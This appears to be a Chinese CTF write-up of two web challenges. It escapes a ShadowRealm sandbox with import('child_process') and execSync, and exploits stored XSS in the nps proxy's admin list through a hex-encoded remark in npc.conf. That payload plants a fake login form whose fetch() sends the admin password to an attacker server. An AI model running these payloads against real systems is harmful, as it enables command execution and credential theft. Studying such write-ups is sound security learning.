yet another sandbox

根据题目告诉我们代码将被运行在ShadowRealm中,那么ShadowRealm是啥呢,根据知乎@贺师俊如何评价 ECMAScript 的 ShadowRealm API 提案?的回答中,我们可以了解到,ShadowRealm其实就是一个类似于VM的沙箱,只不过运行环境是浏览器

第一,ShadowRealm允许一个JS运行时创建多个高度隔离的JS运行环境(realm),每个realm具有独立的全局对象和内建对象。

看似是安全的沙箱环境,但既然他遵守ECMAScript标准,那么就一定支持 importexport 关键字

ECMAScript 标准

ECMAScript 是 JavaScript 语言的规范,它提供了这门语言的核心语法、类型、对象和方法的标准定义。浏览器和其他 JavaScript 运行环境需要遵循这个标准来实现 JavaScript 语言。

ES6 Modules

ES6 Modules 引入了 importexport 关键字,允许开发者将代码拆分成多个文件(模块),并在这些文件之间进行清晰的依赖管理。这使得代码更容易组织、维护和重用。

ES6 Modules 是 ECMAScript 2015(也称为 ES6)标准的一部分,它引入了一种在 JavaScript 中使用模块的标准化方法。在此之前,JavaScript 并没有内建的模块系统,开发者通常依赖于第三方库或者约定来组织代码。

根据docker文件,得知要运行readflag,查看结果

1
RUN gcc -o /readflag /readflag.c

payload

1
2
//ES6语法加载模块
import('child_process').then(m=>m.execSync('/readflag > /app/asserts/flag'));

这道题写完后有个疑问,就是child_process是nodejs环境中的模块,为什么能在浏览器环境下使用呢,可能是为了出题专门放的?

nps hacker

nps是一款轻量级、高性能、功能强大的内网穿透代理服务器,题目中给出了nps服务端的附件,做此题之前可以先简单学习一下这款工具

[工具学习]内网穿透工具nps初探

先看main.js

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import {chromium, errors} from "playwright-chromium";

const PASSWORD = "DASCTF_flag";
(async () => {
async function visit() {
const page = await context.newPage();
try {
for (let i = 0; i < 3; i++){
try{
await page.goto('http://a.o.com:8080/client/list');
break;
}catch (e) {
console.log(e);
}
}
await page.waitForTimeout(1000);
const element = await page.isVisible('button[langtag="word-login"]');
if (element) {
await page.fill('input[name="username"]', 'admin');
await page.fill('input[name="password"]', PASSWORD);
await page.click('button[langtag="word-login"]');
}
await page.waitForTimeout(1000);
await page.close();
} catch (e) {
if (e instanceof errors.TimeoutError){
console.log(e);
await page.close();
}else{
console.log(e);
}
}
}

const browser = await chromium.launch({
headless: true
});
const context = await browser.newContext();
context.setDefaultTimeout(10000);

setInterval(visit, 30000);
})();


这段代码的意思是用nodejs的chromium模块来模拟一个浏览器环境,然后找到button[langtag="word-login"]元素,即拥有属性langtang且值为word-login的button,之后会将usernamepassword填入到对应的input文本框中,最终点击button来模拟手动登录操作。其中,password是我们需要的flag。每30s执行一次整个操作。

第一次访问/client/list的话,会跳转到登录界面,但是当登录成功后,就能够凭借cookie直接访问/client/list界面

可以通过客户端的npc.conf配置文件模式来连接到题目的nps server端

附件中的nps.conf如下:

1
2
3
4
5
6
7
8
##bridge
bridge_type=tcp
bridge_port=8080
bridge_ip=0.0.0.0

# Public password, which clients can use to connect to the server
# After the connection, the server will be able to open relevant ports and parse related domain names according to its own configuration file.
public_vkey=123

这里的bridge_port即客户端连接端口,因为环境问题所以和web端设置成一样的

public_vkey很重要,如果我们拥有公钥,那么就不需要唯一验证密钥也能连接到server

接下来探究XSS的可能性,如果能XSS,就通过remark备注参数连接server,让main.js访问客户端列表完成XSS的利用

list.html中,bootstrapTable的选项中并没有设置escape,该选项用来转义HTML特殊字符防止XSS

bootstrap-table escape

所以,如果我们能使备注为js代码,因为前端并没有做转义,所以可以实现XSS。

但是,server端在接受remark参数时,将remark的内容做了html转义

查看go库中的html模块,看看具体转义了什么字符

1
2
3
4
5
6
7
var htmlEscaper = strings.NewReplacer(
`&`, "&amp;",
`'`, "&#39;", // "&#39;" is shorter than "&apos;" and apos was not in HTML until HTML5.
`<`, "&lt;",
`>`, "&gt;",
`"`, "&#34;", // "&#34;" is shorter than "&quot;".
)

没有转义’\‘,而document.write可以自动解码,所以可以使用hex或者Unicode编码来绕过

最后根据main.js中的html元素,伪造一个登录框,打XSS把flag拿到手

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
def string_to_unicode_escape(input_string):
unicode_escape_sequence = ""
for character in input_string:
# 获取每个字符的Unicode码点
code_point = ord(character)
# 根据码点范围,选择合适的转义序列格式
if code_point > 0xFFFF:
# 对于码点在U+10000以上的字符,使用8个十六进制数字
unicode_escape_sequence += "\\U{:08x}".format(code_point)
else:
# 对于U+FFFF以下的字符,使用4个十六进制数字
unicode_escape_sequence += "\\u{:04x}".format(code_point)
return unicode_escape_sequence

def string_to_hex(s):
result = ""
for c in s:
hex_c = "\\x" + hex(ord(c))[2:].zfill(2)
result += hex_c
return result
# 测试字符串
test_string = '''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Login Page</title>
</head>
<body>

<form id="loginForm">
<div>
<label for="username">Username:</label>
<input type="text" id="username" name="username" required>
</div>
<div>
<label for="password">Password:</label>
<input type="password" id="password" name="password" required>
</div>
<div>
<button type="submit" langtag="word-login" onclick=a(document.getElementById('password').value)>Login</button>
</div>
</form>
<script>
function a(pwd){
fetch('http://vps:port/?a='+pwd, {
method: 'GET'
})
}</script>'''
#unicode_encoded_string = string_to_unicode_escape(test_string)
hex_encoded_string=string_to_hex(test_string)
print(hex_encoded_string)

生成的payload,填入npc.conf

1
2
3
4
5
[common]
server_addr=node4.buuoj.cn:27521
conn_type=tcp
vkey=123
remark=<script>document.write('\x0a\x3c\x21\x44\x4f\x43\x54\x59\x50\x45\x20\x68\x74\x6d\x6c\x3e\x0a\x3c\x68\x74\x6d\x6c\x20\x6c\x61\x6e\x67\x3d\x22\x65\x6e\x22\x3e\x0a\x3c\x68\x65\x61\x64\x3e\x0a\x20\x20\x20\x20\x3c\x6d\x65\x74\x61\x20\x63\x68\x61\x72\x73\x65\x74\x3d\x22\x55\x54\x46\x2d\x38\x22\x3e\x0a\x20\x20\x20\x20\x3c\x74\x69\x74\x6c\x65\x3e\x4c\x6f\x67\x69\x6e\x20\x50\x61\x67\x65\x3c\x2f\x74\x69\x74\x6c\x65\x3e\x0a\x3c\x2f\x68\x65\x61\x64\x3e\x0a\x3c\x62\x6f\x64\x79\x3e\x0a\x0a\x3c\x66\x6f\x72\x6d\x20\x69\x64\x3d\x22\x6c\x6f\x67\x69\x6e\x46\x6f\x72\x6d\x22\x3e\x0a\x20\x20\x20\x20\x3c\x64\x69\x76\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x6c\x61\x62\x65\x6c\x20\x66\x6f\x72\x3d\x22\x75\x73\x65\x72\x6e\x61\x6d\x65\x22\x3e\x55\x73\x65\x72\x6e\x61\x6d\x65\x3a\x3c\x2f\x6c\x61\x62\x65\x6c\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x74\x65\x78\x74\x22\x20\x69\x64\x3d\x22\x75\x73\x65\x72\x6e\x61\x6d\x65\x22\x20\x6e\x61\x6d\x65\x3d\x22\x75\x73\x65\x72\x6e\x61\x6d\x65\x22\x20\x72\x65\x71\x75\x69\x72\x65\x64\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x64\x69\x76\x3e\x0a\x20\x20\x20\x20\x3c\x64\x69\x76\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x6c\x61\x62\x65\x6c\x20\x66\x6f\x72\x3d\x22\x70\x61\x73\x73\x77\x6f\x72\x64\x22\x3e\x50\x61\x73\x73\x77\x6f\x72\x64\x3a\x3c\x2f\x6c\x61\x62\x65\x6c\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x69\x6e\x70\x75\x74\x20\x74\x79\x70\x65\x3d\x22\x70\x61\x73\x73\x77\x6f\x72\x64\x22\x20\x69\x64\x3d\x22\x70\x61\x73\x73\x77\x6f\x72\x64\x22\x20\x6e\x61\x6d\x65\x3d\x22\x70\x61\x73\x73\x77\x6f\x72\x64\x22\x20\x72\x65\x71\x75\x69\x72\x65\x64\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x64\x69\x76\x3e\x0a\x20\x20\x20\x20\x3c\x64\x69\x76\x3e\x0a\x20\x20\x20\x20\x20\x20\x20\x20\x3c\x62\x75\x74\x74\x6f\x6e\x20\x74\x79\x70\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x20\x6c\x61\x6e\x67\x74\x61\x67\x3d\x22\x77\x6f\x72\x64\x2d\x6c\x6f\x67\x69\x6e\x22\x20\x6f\x6e\x63\x6c\x69\x63\x6b\x3d\x61\x28\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x67\x65\x74\x45\x6c\x65\x6d\x65\x6e\x74\x42\x79\x49\x64\x28\x27\x70\x61\x73\x73\x77\x6f\x72\x64\x27\x29\x2e\x76\x61\x6c\x75\x65\x29\x3e\x4c\x6f\x67\x69\x6e\x3c\x2f\x62\x75\x74\x74\x6f\x6e\x3e\x0a\x20\x20\x20\x20\x3c\x2f\x64\x69\x76\x3e\x0a\x3c\x2f\x66\x6f\x72\x6d\x3e\x0a\x3c\x73\x63\x72\x69\x70\x74\x3e\x0a\x66\x75\x6e\x63\x74\x69\x6f\x6e\x20\x61\x28\x70\x77\x64\x29\x7b\x0a\x20\x20\x20\x20\x66\x65\x74\x63\x68\x28\x27\x68\x74\x74\x70\x3a\x2f\x2f\x31\x2e\x31\x31\x37\x2e\x32\x34\x37\x2e\x31\x34\x3a\x38\x30\x30\x30\x2f\x3f\x61\x3d\x27\x2b\x70\x77\x64\x2c\x20\x7b\x20\x0a\x20\x20\x6d\x65\x74\x68\x6f\x64\x3a\x20\x27\x47\x45\x54\x27\x0a\x7d\x29\x0a\x7d\x3c\x2f\x73\x63\x72\x69\x70\x74\x3e')</script>

最后npc -config=npc.conf连接即可